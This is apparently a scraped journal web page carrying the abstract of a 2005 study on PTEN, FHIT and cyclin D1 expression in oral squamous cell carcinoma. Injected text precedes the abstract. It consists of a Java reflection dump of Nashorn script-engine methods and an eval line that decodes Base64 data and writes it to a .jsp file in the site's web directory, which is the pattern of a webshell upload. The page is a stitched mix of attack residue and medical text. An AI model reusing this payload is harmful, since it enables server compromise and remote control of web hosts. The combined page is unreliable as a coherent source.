public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2005, Vol. 25 ›› Issue (01): 79-82.

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Expressions of PTEN and FHIT in oral squamous cell carcinoma and their relations with cyclin D1

SHEN Li-jia1,2, XIE Si-ming1, YIN Cao3, RUAN Ping1, YAO Xi1   

  1. 1. 暨南大学医学院口腔医学系, 广东广州510632;
    2. 南方医科大学病理学教研室, 广东广州510515;
    3. 广东省口腔医院, 广东广州510280
  • Online:2005-01-20 Published:2005-01-20

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Abstract: Objective To study the expressions of PTEN, FHIT and cyclin D1 in normal oral mucosa and oral squamous cell carcinoma (OSCC), and analyze the relationship between PTEN/FHIT and cyclin D1. Methods Immunohistochemical staining with SP methods was used to detect the expression of PTEN, FHIT and cyclin D1 in OSCC tissues in 62 cases and normal oral mucosa in 12 cases. Results The positivity rates of PTEN and FHIT were both 100% (12/12) in the normal oral mucosa, while in 62 cases of OSCC, 24.2% (15/62) and 17.7% (11/62) were negative for (or with low expression of) PTEN and FHIT, respectively. In normal oral mucosa, 91.7% (11/12) cases had negative or low cyclin D1 expression, while 53.2% (33/62) of the OSCC cases were positive for cyclin D1 expression. In all the cases, when PTEN and FHIT were strongly expressed, 37.8% (28/74) of the cases had negative or low expression of cyclin D1, including 11 normal cases. Conclusion The tumor suppressor genes PTEN and FHIT play a role in the pathogenesis of OSCC, and PTEN and FHIT can down-regulate the expression of cyclin D1.

CLC Number: